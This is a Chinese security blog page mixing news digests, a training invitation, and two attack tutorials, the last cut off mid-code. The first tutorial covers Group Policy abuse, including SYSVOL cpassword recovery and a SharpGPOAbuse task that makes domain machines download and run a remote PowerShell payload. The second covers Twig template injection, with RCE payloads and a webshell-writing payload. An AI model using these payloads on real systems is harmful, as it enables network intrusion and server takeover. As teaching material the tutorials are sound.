网络安全日报 2021年12月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软敦促客户修补最近的 Active Directory 漏洞 https://www.securityweek.com/microsoft-urges-customers-patch-recent-active-directory-vulnerabilities 2、Garrett 步行通过式金属探测器受潜在严重漏洞的影响 https://www.securityweek.com/vulnerabilities-can-allow-hackers-tamper-walk-through-metal-detectors 3、研究人员在德国 Auerswald VoIP 系统中发现秘密后门 https://thehackernews.com/2021/12/secret-backdoors-found-in-german-made.html 4、育碧披露《舞力全开》游戏涉及客户信息的数据泄露 https://portswigger.net/daily-swig/ubisoft-confirms-just-dance-video-game-data-breach 5、新的 Abcbot 僵尸网络以阿里、腾讯等云平台托管的 Linux 服务器为目标 https://therecord.media/new-abcbot-botnet-goes-after-chinese-cloud-providers/ 6、WSL 中运行的 Visual Studio Code server 被发现存在 RCE 漏洞 https://parsiya.net/blog/2021-12-20-rce-in-visual-studio-codes-remote-wsl-for-fun-and-negative-profit/ 7、网络钓鱼活动冒充辉瑞公司窃取商业和财务信息 https://www.bleepingcomputer.com/news/security/phishing-attacks-impersonate-pfizer-in-fake-requests-for-quotation/ 8、英国国家犯罪署与HIBP网站分享了超过5.85亿个被盗密码 https://therecord.media/the-nca-shares-585-million-passwords-with-have-i-been-pwned/ 9、美国医疗保健提供商Texas ENT超50万患者数据遭泄露 https://portswigger.net/daily-swig/healthcare-provider-texas-ent-alerts-535-000-patients-to-data-breach 10、研究发现多个K-12学校应用存在严重的安全风险 https://therecord.media/study-finds-serious-security-risks-in-k-12-school-apps/
组策略(GPO)利用与横向移动
组策略(GPO)利用与横向移动 组策略介绍 组策略(英语:Group Policy)是微软https://baike.baidu.com/item/Windows%20NT家族https://baike.baidu.com/item/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F的一个特性,它可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和https://baike.baidu.com/item/%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95中用户设置的集中化管理和配置。组策略的其中一个版本名为本地组策略(缩写“LGPO”或“LocalGPO”),这可以在独立且 通过使用组策略,你可以设置策略设置一次,然后将该设置复制到多台计算机上。 例如,你可以在链接到域的 GPO 中设置多个 Internet Explorer11 安全设置,然后将所有这些设置应用到域中的每台计算机。 组策略分类 本地组策略 本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。 开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性 显示文件: C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup 把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了 域组策略 当机器安装了域环境的时候,系统管理工具会多出一个功能(组策略管理),通过它,域管理员能够很方便统一地对域内的机器和用户进行统一管理。 域管理员经常会面对一个这样的问题,域成员机子的默认本地管理员密码过于简单,想进行批量修改的时候,这个时候就可以利用组策略来进行任务的批量下发。 通过在域中下发脚本来执行 在组策略首选项GPP中进行设置 本地管理员密码解决方案:LAPS(不细说这个内容,这是解决这个问题很好的方案) 这里需要了解下AD域中两个默认的共享文件夹:SYSVOL NETLOGON NETLOGON目录 挂载点:SYSVOL\domain\SCRIPTS 主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol下面的一个子目录文件夹 SYSVOL目录 SYSVOL目录是AD域中的一个共享文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。 此外,域控机器之间因为要自动同步域数据,SYSVOL文档允许该域内的所有DC机之间进行复制,并且所有的AD用户都可以访问它 在域中,用户登录(计算机)时,会首先在SYSVOL文件查找GPO和启动脚本。同时,为了保证系统的正常运行,必须为SYSVOL保留足够的空间缓存,而且不能随意删除、改动该文件夹,要不然会出现一些组策略无法启用等报错信息 该目录由于针对的是域内所有机器和用户,所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以) 如果更改权限,这个地方会显示拒绝访问 * 组策略链接 以Default Domain Policy为例,在右边的作用域里面,可以看到它链接到demo.com整个域,也就是说在demo.com域内的所有计算机,用户都会受到这条组策略的影响。链接的位置可以是站点、域以及OU。 比如说xsf这条组策略。它就链接到xs这个OU。加入xs这个OU的所有计算机以及用户会受到影响。 * 组策略内容 右键组策略,选择保存报告,可以将组策略的内容导出为htlm。 可以看到它配置的一些内容,设置密码最长期限为42天,最短密码长度为7个字符等。 如果想配置这条组策略的内容,在组策略条目上右键编辑,打开组策略编辑器。可以看到左边分为计算机配置以及用户配置。在里面的配置分别作用于计算机和用户。 在配置底下又分为策略以及首选项。首选项是Windows Server 2008发布后用来对GPO中的组策略提供额外的功能。策略和首选项的不同之处就在于强制性。策略是受管理的、强制实施的。而组策略首选项则是不受管理的、非强制性的。 对于很多系统设置来说,既可以通过策略设置来实现,也可以通过策略首选项来实现,二者有相当一部分的重叠。 * 组策略更新 默认情况下,客户端更新组策略的方式主要有 后台轮询检查sysvol里的GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略。轮询的时间是,默认情况下,计算机组策略会在后台每隔90分钟更新一次,并将时间作0到30分钟的随机调整。域控制器上的组策略会每隔5分钟更新一次。 用户开机登录时,会检查sysvol里的GPT.ini,如果高于本地保存的组策略版本,将会更新本地的组策略。 客户端强制更新,执行gpupdate /force。 域控强制客户端更新(不会比较域共享目录中组策略的版本),执行Invoke-GPUpdate -Computer "TESTwin10" -Target "User"(2008 R2默认不支持该命令,2012支持) 组策略应用顺序: 应用本地组策略 → 如果有站点组策略则应用 → 应用域策略 → 应用OU上的策略。 如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用。如果多个组策略设置冲突,则后应用的组策略覆盖先应用的组策略。 * 组策略存储 每条组策略可以看做是存储在域级别的一个虚拟对象,叫做GPO。每个GPO有唯一标志,用来标识每条组策略(或者说每个GPO),GPO在域内存储分为两个部分:GPC、GPT。 GPC位于LDAP中,CN=Policies,CN=System,<BaseDn>下,每个条目对应一个GPC。包含了GPO属性,例如版本信息,GPO状态和其他组件设置。 GPT位于\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies中。域内任何人都可以读取\\<DOMAIN>\SYSVOL\<DOMAIN>\这个默认的共享路径下的内容。 GPC里面的gPCFileSysPath属性链接到GPT里面。GPT是一个文件系统文件夹,其中包含由.adm文件,安全设置,脚本文件以及有关可用于安装的应用程序的信息指定的策略数据。 在域、站点、OU上的gPLink属性来标识链接到这里的组策略,gPOptions属性来标识组策略是否会继承。 组策略利用 GPO常用命令 #加载GroupPolicy模块 (win7没有,win10有) Import-Module GroupPolicy –verbose #获得所有GPO的内容 Get-GPO -All #将所有GPO导出为一个HTML报告 Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html #将每个GPO单独导出一个HTML报告 Get-GPO -All | %{ Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html") } #查看指定GPO的权限设置 Get-GPPermission -Name "客服部组策略" -All #备份指定GPO Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups #备份所有GPO Backup-Gpo -All -Path "c:\GpoBackups" #还原指定GPO Restore-GPO -Name TestGPO1 -Path C:\GpoBackups #还原所有GPO Restore-GPO -All -Path "c:\GpoBackups" 利用SYSVOL还原组策略中的密码 如果在组策略中输入了密码,如以用户身份运行程序、修改域内主机内置administrator用户密码等操作。 然后可以在GPT中看到加密后的密码(AES-256) C:\Windows\SYSVOL\domain\Policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml 可以通过以下命令来快速搜索(网上有解密方法) findstr /S cpassword \\192.168.40.154\sysvol\*.xml for /r \\192.168.40.154/sysvol %i in (*.xml) do @echo %i 得到cpassword后可以通过kali中的gpp-decryp 去解密 利用https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1,自动查询共享文件夹\SYSVOL中的文件,还原出所有明文密码。 组策略横向 在拿到域控之后,有时候可能网络ACL到达不了目标电脑,可以通过组策略进行横向。攻击者可以利用组策略来推出恶意软件、创建/修改计划任务、降级凭据保护、向所有计算机添加新的本地帐户被添加到本地管理员组。更改现有的安全策略,启用明文密码提取。 实验环境如下: 域控:AD-2008(192.168.40.154),demo\administrator:vulnstack4. 域机器:win7(192.168.40.157),demo\administrator:vulnstack4. 目前已经拿下域控,域成员机开启了防火墙,并且禁止了445,135等端口的访问,传统的psexec和winrm以及pth等横向移动无法直接拿下成员机 计划任务 自Windows Server 2008开始,GPO开始支持计划任务,便于管理域中的计算机和用户。 https://github.com/FSecureLABS/SharpGPOAbuse 创建GPO powershell -c Import-Module GroupPolicy;new-gpo -name TestGP02 将GPO链接到域demo.com,需要域管权限。 powershell -c Import-Module GroupPolicy;new-gplink -name TestGP02 -Target "dc=demo,dc=com" #添加定时任务 --TargetDnsName指定计算机 execute-assembly F:\\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author demo\\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://119.45.175.218/payload.ps1'))\"" --GPOName "TestGP02" --FilterEnabl 即时任务会在组策略同步的时候强制执行一次,组策略每90分钟自动同步一次。 在组成员中强制更新组策略,或者默认等待90分钟等待组策略强制更新 gpupdate /force 这时候可以看到域成员机上线 删除gpo powershell -c Import-Module GroupPolicy;Remove-GPO -Name TestGPO2 参考: https://xz.aliyun.com/t/9511https://www.anquanke.com/post/id/203151#h3-22
网络安全日报 2021年12月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、勒索软件运营商泄露了从物流巨头 Hellmann 窃取的数据 https://www.securityweek.com/ransomware-operators-leak-data-stolen-logistics-giant-hellmann 2、比利时国防部遭受利用 Log4Shell 的网络攻击 https://securityaffairs.co/wordpress/125813/cyber-warfare-2/belgian-defense-ministry-hit-cyberattack.html 3、研究人员发现新的安全漏洞影响 2G 及之后所有蜂窝网络 https://thehackernews.com/2021/12/new-mobile-network-vulnerabilities.html 4、一种新的攻击方法可利用本地服务器上的 Log4Shell 漏洞 https://securityaffairs.co/wordpress/125800/hacking/log4shell-vulnerability-attack-vector.html 5、Apache已发布Log4j 2.17版本修复了一个拒绝服务漏洞 https://www.govinfosecurity.com/time-to-patch-again-apache-releases-217-fixing-dos-a-18153 6、西部数据敦促客户更新他们的My Cloud设备 https://www.bleepingcomputer.com/news/security/western-digital-warns-customers-to-update-their-my-cloud-devices/ 7、德国音响科技巨头森海塞尔55GB客户数据遭泄露 https://www.hackread.com/german-audio-tech-sennheiser-expose-customers-data/ 8、VMware 修补 Workspace ONE Access 中的多个漏洞 https://www.securityweek.com/vmware-patches-vulnerabilities-workspace-one-access 9、TellYouThePass 勒索软件正利用 Log4Shell卷土重来 https://www.freebuf.com/articles/316267.html 10、国家工信安全中心发布《网络安全威胁情报行业发展报告(2021年)》 http://www.etiri.com.cn/web_root/webpage/articlecontent_101006_1470613962792898561.html
2022年网络安全高级研修班 · 邀请函
为深入学习贯彻习近平总书记关于网络强国的战略思想和关于网络安全的重要论述,落实“十四五”规划和2035年远景目标纲要对网络安全工作的重要部署,把握当前国际国内、教育系统网络安全工作面临的新形势,加强网络安全宣传教育和人才培养,助力学校打造经验丰富的网安教学师资队伍,全面提升网络安全技能实战教学水平。特针对CTF竞赛、CTF实战训练等热点需求,举办此次“2022年网络安全高级研修班”。   一、会议组织  指导单位:中国网络空间安全人才教育论坛  主办单位:湖南蚁景科技有限公司  二、会议内容  本次会议主要针对CTF竞赛的PWN方向实战实训,内容涵盖CTF PWN基础、栈溢出原理、基本栈溢出CTF题目讲解、基本堆溢出CTF题目讲解 、 AWD线下PWN讲解,以及 CTF实战演练等。  CTF PWN基础: CTF PWN介绍、必备工具安装以及使用。  栈溢出原理: 基本栈溢出、rop介绍与编写。  基本栈溢出CTF题目讲解: 进阶rop、进阶rop实战、改写got表getshell方法、CTF栈题的一般利用思路、CTF真题讲解。  基本堆溢出CTF题目讲解: linux动态内存管理机制、调试堆的方法、通用的堆漏洞利用思路、CTF真题讲解。  AWD线下PWN讲解: AWD比赛PWN手需要做的工作、AWD真题讲解、常见pwn漏洞类型以及修补。  CTF实战演练: CTF比赛体验、CTF比赛题目讲解。  三、参会对象  全国高校、职业院校计算机相关专业(信息安全、计算机科学与技术、网络安全、信息科学与工程、软件工程、网络工程 等)学科带头人、专业骨干教师、实验室人员参加。  四、参会收获  1、了解CTF最新发展动态,与讲师互动交流。  2、掌握CTF PWN必备工具运用、栈溢出原理以及利用、堆漏洞分析与利用,线下赛AWD模式的Patch技巧等实战技能。  3、熟悉CTF PWN比赛题型,亲历CTF真题与实战演练。  4、获得由中国网络空间安全人才教育论坛颁发的证书。  五、会议安排  1、会议方式: 线上+ 线下 同步开展  2、会议时间:2022 年 1 月 17 日- 1 月 21 日  3 、报到地点:湖南长沙  4 、会议地点:湖南长沙  5 、会议规模:50人  六、会议报名  1、报名时间:即日起至2022 年 1 月 16 日  2、报名邮箱:EDU@antvsion.com  3、电话咨询: 宋老师 13657413038   4、培训费: 3680 元/人( 含培训资料, 线上参会人员提供录播视频, 线下参会人员路费和食宿费用自理,需自带电脑)  5、 付款方式:       ◆ 线上汇款: ( 请务必在备注栏里注明“学校名+参会者姓名” )      公司名称:湖南蚁景科技有限公司      开户行名称:北京银行长沙麓谷支行      开户行账号:2000 0044 8649 0003 6286 388      ◆ 现场缴费:现金、扫码或刷卡(银行卡、公务卡均可)  具体课程内容 扫描下方二维码即可报名:
网络安全日报 2021年12月20日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、VMware 修补了 Workspace ONE UEM 控制台中的严重漏洞 https://www.securityweek.com/vmware-patches-critical-flaw-workspace-one-uem-console 2、Clop 勒索软件团伙正在泄露英国警方的机密数据 https://securityaffairs.co/wordpress/125792/cyber-crime/clop-ransomware-uk-police.html 3、Apache 发布第三个补丁修复新的 Log4j2 漏洞 https://securityaffairs.co/wordpress/125760/hacking/log4j-third-flaw.html 4、Conti 勒索软件利用Log4Shell漏洞攻击vCenter服务器 https://securityaffairs.co/wordpress/125741/cyber-crime/conti-ransomware-exploit-log4shell.html 5、无文件恶意软件DarkWatchman利用Windows注册表逃避检测 https://thehackernews.com/2021/12/new-fileless-malware-uses-windows.html 6、NSO零点击iMessage漏洞影响iOS 14.7.1及更早版本 https://www.hackread.com/nso-zero-click-imessage-exploit-hack-iphone-no-click/ 7、Hive勒索软件团伙在四个月内入侵了数百个组织 https://www.bleepingcomputer.com/news/security/hive-ransomware-enters-big-league-with-hundreds-breached-in-four-months/ 8、Joker恶意软件潜伏在Color Message应用程序中向用户收费 https://threatpost.com/malicious-joker-app-downloads-google-play/177139/ 9、网络安全公司Avast在美国联邦机构网络中发现后门 https://www.govinfosecurity.com/backdoor-discovered-in-us-federal-agency-network-a-18147 10、谷歌表示超过35000个Java包受Log4j漏洞的影响 https://therecord.media/google-more-than-35000-java-packages-impacted-by-log4j-vulnerabilities/
以Twig模板为例浅学一手SSTI
什么是SSTI SSTI:开局一张图,姿势全靠y SSTI,即服务器端模板注入(Server-Side Template Injection) 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。 sql注入的成因是从用户获得一个输入后,经过后端脚本语言进行数据库查询,这时我们就可以构造输入语句来进行拼接,从而实现我们想要的sql语句 SSTI也是如此,不过SSTI是在服务端接收了输入后,将其作为web应用模板内容的一部分,在进行目标编译渲染的过程中,将恶意语句进行了拼接,因此可能造成敏感信息泄露、代码执行、getshell等问题 在这我会简单以常见的Twig模板引擎进行演示,有所遗漏错误,欢迎各位师傅们进行补充纠正 模板引擎 模板是一种提供给程序进行解析的一种语法,从初始数据到实际的视觉表达靠的就是这一项工作所实现的,且这种手段是同时存在于前后端的 常见的模板引擎有 1.php 常用的 Smarty Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛 Twig Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。 Blade Blade 是 Laravel 提供的一个既简单又强大的模板引擎。 和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。 2.Java 常用的 JSP 这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典 FreeMarker FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。 Velocity Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。 3.Python 常用的 Jinja2 flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎 django django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了 tornado tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发 形形色色的模板引擎为了达到渲染效果,总会对用户输入有所处理,这也就给攻击者提供了道路,尽管模板引擎也会相应提供沙箱机制进行保护,但是也存在沙箱逃逸技术可以进行绕过 攻击思路 找到模板是什么模板引擎,是哪个版本的,然后设法利用模板的内置方法,进行rce、getshell PHP-Twig Twig 被许多开源项目使用,比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM;许多框架也支持 Twig,比如 Slim、Yii、Laravel 和 Codeigniter 等等。 本地复现可以用composer搭建 在Twig引擎中,我们可以通过下面方法获得一些关于当前应用的信息(虽然经常会被ban就是...) {{_self}} #指向当前应用 {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} 基础语法 模板其实就是一个文本文件,它可以生成我们需要的任何基于文本的格式文件(html、xml、csv等) 它也没有特别的拓展后缀名,.html、.xml、.twig都可 这里主要讲一些我们在利用时会用到的基础知识 变量 应用程序将变量传入模板中进行处理,变量可以包含你能访问的属性或元素。你可以使用 . 来访问变量中的属性(方法或 PHP 对象的属性,或 PHP 数组单元),Twig还支持访问PHP数组上的项的特定语法, foo['bar'] : {{ foo.bar }} {{ foo['bar'] }} 全局变量 模板中始终提供以下变量: _self :引用当前模板名称;(在twig1.x和2.x/3.x作用不一) _context :引用当前上下文; _charset :引用当前字符集。 设置变量 可以为代码块内的变量赋值。赋值使用set标签: {% set foo = 'foo' %} {% set foo = [1, 2] %} {% set foo = {'foo': 'bar'} %} 过滤器 变量可以修改为 过滤器 . 过滤器与变量之间用管道符号隔开 (| ). 可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。 下面的示例从 name 标题是: {{ name|striptags|title }}接受参数的筛选器在参数周围有括号。此示例通过逗号连接列表中的元素: {{ list|join }} {{ list|join(', ') }} // {{ ['a', 'b', 'c']|join }} // Output: abc // {{ ['a', 'b', 'c']|join('|') }} // Output: a|b|c若要对代码部分应用筛选器,请使用apply标签: {% apply upper %}    This text becomes uppercase {% endapply %}过滤器有很多,但是我们常用的一般就map、sort、filter、reduce 更多内置过滤器请参考:https://twig.symfony.com/doc/3.x/filters/index.html 控制结构 控制结构是指所有控制程序流的东西-条件句(即 if/elseif/else/ for)循环,以及程序块之类的东西。控制结构出现在 {{% ... %}} 中 例如,要显示在名为 users 使用for标签: <h1>Members</h1> <ul>   {% for user in users %}        <li>{{ user.username|e }}</li>   {% endfor %} </ul>if标记可用于测试表达式: {% if users|length > 0 %}    <ul>       {% for user in users %}            <li>{{ user.username|e }}</li>       {% endfor %}    </ul> {% endif %}更多 tags 请参考:https://twig.symfony.com/doc/3.x/tags/index.html 函数 在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range() 函数用来返回一个包含整数等差数列的列表: {% for i in range(0, 3) %}   {{ i }}, {% endfor %} // Output: 0, 1, 2, 3, 更多内置函数请参考:https://twig.symfony.com/doc/3.x/functions/index.html 注释 要在模板中注释某一行,可以使用注释语法 {# ...#} {# note: disabled template because we no longer use this   {% for user in users %}       ...   {% endfor %} #} 引入其他模板 Twig 提供的 include 函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板 {{ include('sidebar.html') }} 模板继承 Twig最强大的部分是模板继承。模板继承允许您构建一个基本的“skeleton”模板,该模板包含站点的所有公共元素并定义子模版可以覆写的 blocks 块。 从一个例子开始更容易理解这个概念。 让我们定义一个基本模板, base.html ,它定义了可用于两列页面的HTML框架文档: <!DOCTYPE html> <html>   <head>       {% block head %}           <link rel="stylesheet" href="style.css"/>           <title>{% block title %}{% endblock %} - My Webpage</title>       {% endblock %}   </head>   <body>       <div id="content">{% block content %}{% endblock %}</div>       <div id="footer">           {% block footer %}               &copy; Copyright 2011 by <a href="http://domain.invalid/">you</a>.           {% endblock %}       </div>   </body> </html>在这个例子中,block标记定义了子模板可以填充的四个块。所有的 block 标记的作用是告诉模板引擎子模板可能会覆盖模板的这些部分。 子模板可能如下所示: {% extends "base.html" %} {% block title %}Index{% endblock %} {% block head %}   {{ parent() }}   <style type="text/css">       .important { color: #336699; }   </style> {% endblock %} {% block content %}   <h1>Index</h1>   <p class="important">       Welcome to my awesome homepage.   </p> {% endblock %}其中的 extends 标签是关键所在,其必须是模板的第一个标签。 extends 标签告诉模板引擎当前模板扩展自另一个父模板,当模板引擎评估编译这个模板时,首先会定位到父模板。由于子模版未定义并重写 footer 块,就用来自父模板的值替代使用了。 更多 Twig 的语法请参考:https://twig.symfony.com/doc/3.x/ 1.x 在twig 1.x版本,存在三个全局变量 _self:引用当前模板实例 _context:引用上下文 _charset:引用当前字符集 其相对应的代码如下 protected $specialVars = [        '_self' => '$this',        '_context' => '$context',        '_charset' => '$this->env->getCharset()',   ];在twig 1.x中,主要利用的是_self变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environment 的 env 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法 payload setCache方法 {{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}} 通过调用setCache方法改变twig加载php的路径,在allow_url_include开启的条件下,我们就可以实现远程文件包含 getFilter方法 在getFilter方法中存在call_user_func回调函数,通过传入参数我们可以借此调用任意函数 #getFilter public function getFilter($name) {   ...    foreach ($this->filterCallbacks as $callback) {    if (false !== $filter = call_user_func($callback, $name)) {      return $filter;   } }  return false; } public function registerUndefinedFilterCallback($callable) {  $this->filterCallbacks[] = $callable; } {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} // Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) 但以上漏洞都只存在于1.x,在后续版本中,_self只会返回当前实例名字符串 2.x&3.x 在这里我用twig3.x+php7.3.4作为示例 用PHP的API调用twig index.php <?php require_once "./vendor/autoload.php"; $loader = new \Twig\Loader\ArrayLoader([    'index' => 'Hello {{ name }}!', ]); $twig = new \Twig\Environment($loader); $template = $twig->createTemplate("Hello {$_GET['name']}!"); echo $template->render();在twig2.x/3.x中,_self不再像1.x时那么有他独特的作用,但是也相应更新了一些特殊方法来供我们利用 map过滤器 map 这个 map 过滤器将箭头函数应用于序列或映射的元素。arrow函数接收序列或映射的值: {% set people = [ {first: "Bob", last: "Smith"}, {first: "Alice", last: "Dupond"}, ] %} {{ people|map(p => "#{p.first} #{p.last}")|join(', ') }} {# outputs Bob Smith, Alice Dupond #} arrow函数还接收密钥作为第二个参数: {% set people = { "Bob": "Smith", "Alice": "Dupond", } %} {{ people|map((last, first) => "#{first} #{last}")|join(', ') }} {# outputs Bob Smith, Alice Dupond #} 注意arrow函数可以访问当前上下文。 可以看出允许用户传一个arrow 函数,arrow 函数最后会变成一个closure 举个例子 当我们传入 {{["man"]|map((arg)=>"hello #{arg}")}}在模板中会被编译为 twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))map所对应的函数如下 function twig_array_map($array $arrow) {    $r = [];    foreach ($array as $k => $v) {        $r[$k] = $arrow($v $k);   }    return $r; }我们可以看到,传入的 $arrow 直接就被当成函数执行,即 $arrow($v, $k),而 $v 和 $k 分别是 $array 中的 value 和 key 所以$array和$arrow都是我们可控的,那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce 经过查询,有如下几种常见命令执行函数 system ( string $command [, int &$return_var ] ) : string passthru ( string $command [, int &$return_var ] ) exec ( string $command [, array &$output [, int &$return_var ]] ) : string shell_exec ( string $cmd ) : string有两个参数的函数就上面三种,其对应payload {{["whoami"]|map("system")}} {{["whoami"]|map("passthru")}} {{["whoami"]|map("exec")}}    // 无回显 但是当上面的都被ban了呢,我们还有没有其他方法rce 当然,例如 file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int当我们找到路径后就可以利用该函数进行写shell了 ?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|map("file_put_contents")}} 根据map过滤器的利用思路,我们可以再找到其他类似的,带有$arrow参数的 sort过滤器 sort 这个 sort 筛选器对数组排序: {% for user in users|sort %} ... {% endfor %} 注解 在内部,Twig使用PHP https://secure.php.net/asort 函数来维护索引关联。它通过将可遍历对象转换为数组来支持这些对象。 您可以传递一个箭头函数来对数组进行排序: {% set fruits = [   { name: 'Apples', quantity: 5 },   { name: 'Oranges', quantity: 2 },   { name: 'Grapes', quantity: 4 }, ] %} {% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}   {{ fruit }} {% endfor %} {# output in this order: Oranges, Grapes, Apples #} 注意 spaceship 运算符来简化比较。 类似于map,sort在模板编译时也会进入twig_sort_filter 函数 function twig_sort_filter($array, $arrow = null) {    if ($array instanceof \Traversable) {        $array = iterator_to_array($array);   } elseif (!\is_array($array)) {        throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));   }    if (null !== $arrow) {        uasort($array, $arrow);    // 直接被 uasort 调用   } else {        asort($array);   }    return $array; }uasort ( array &$array , callable $value_compare_func ) : bool可以看到,$array 和$arrow直接被uasort调用 uasort会将数组中的元素按照键值进行排序,当我们自定义一个危险函数时,就可能造成rce 这样我们就可以构造payload了 {{["id", 0]|sort("system")}} {{["id", 0]|sort("passthru")}} {{["id", 0]|sort("exec")}}    // 无回显 filter过滤器 filter 这个 filter 过滤器使用箭头函数过滤序列或映射的元素。arrow函数接收序列或映射的值: {% set sizes = [34, 36, 38, 40, 42] %} {{ sizes|filter(v => v > 38)|join(', ') }} {# output 40, 42 #} 与 for 标记,它允许筛选要迭代的项: {% for v in sizes|filter(v => v > 38) -%} {{ v }} {% endfor %} {# output 40 42 #} 它也适用于映射: {% set sizes = { xs: 34, s: 36, m: 38, l: 40, xl: 42, } %} {% for k, v in sizes|filter(v => v > 38) -%} {{ k }} = {{ v }} {% endfor %} {# output l = 40 xl = 42 #} arrow函数还接收密钥作为第二个参数: {% for k, v in sizes|filter((v, k) => v > 38 and k != "xl") -%} {{ k }} = {{ v }} {% endfor %} {# output l = 40 #} 注意arrow函数可以访问当前上下文。 类似于map,filter在模板编译时也会进入twig_array_filter 函数 function twig_array_filter($array, $arrow) {    if (\is_array($array)) {        return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array 和 $arrow 直接被 array_filter 函数调用   }    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow); } array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array可以看到和前面方法类似,我们实验一下 得到payload {{["id"]|filter("system")}} {{["id"]|filter("passthru")}} {{["id"]|filter("exec")}}    // 无回显 {{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}}    // 和map过滤器一样可以写 Webshell reduce 过滤器 reduce 这个 reduce filter使用arrow函数迭代地将序列或映射缩减为单个值,从而将其缩减为单个值。arrow函数接收上一次迭代的返回值和序列或映射的当前值: {% set numbers = [1, 2, 3] %} {{ numbers|reduce((carry, v) => carry + v) }} {# output 6 #} 这个 reduce 过滤器需要 initial 值作为第二个参数: {{ numbers|reduce((carry, v) => carry + v, 10) }} {# output 16 #} 注意arrow函数可以访问当前上下文。 直接来看函数 function twig_array_reduce($array, $arrow, $initial = null) {    if (!\is_array($array)) {        $array = iterator_to_array($array);   }    return 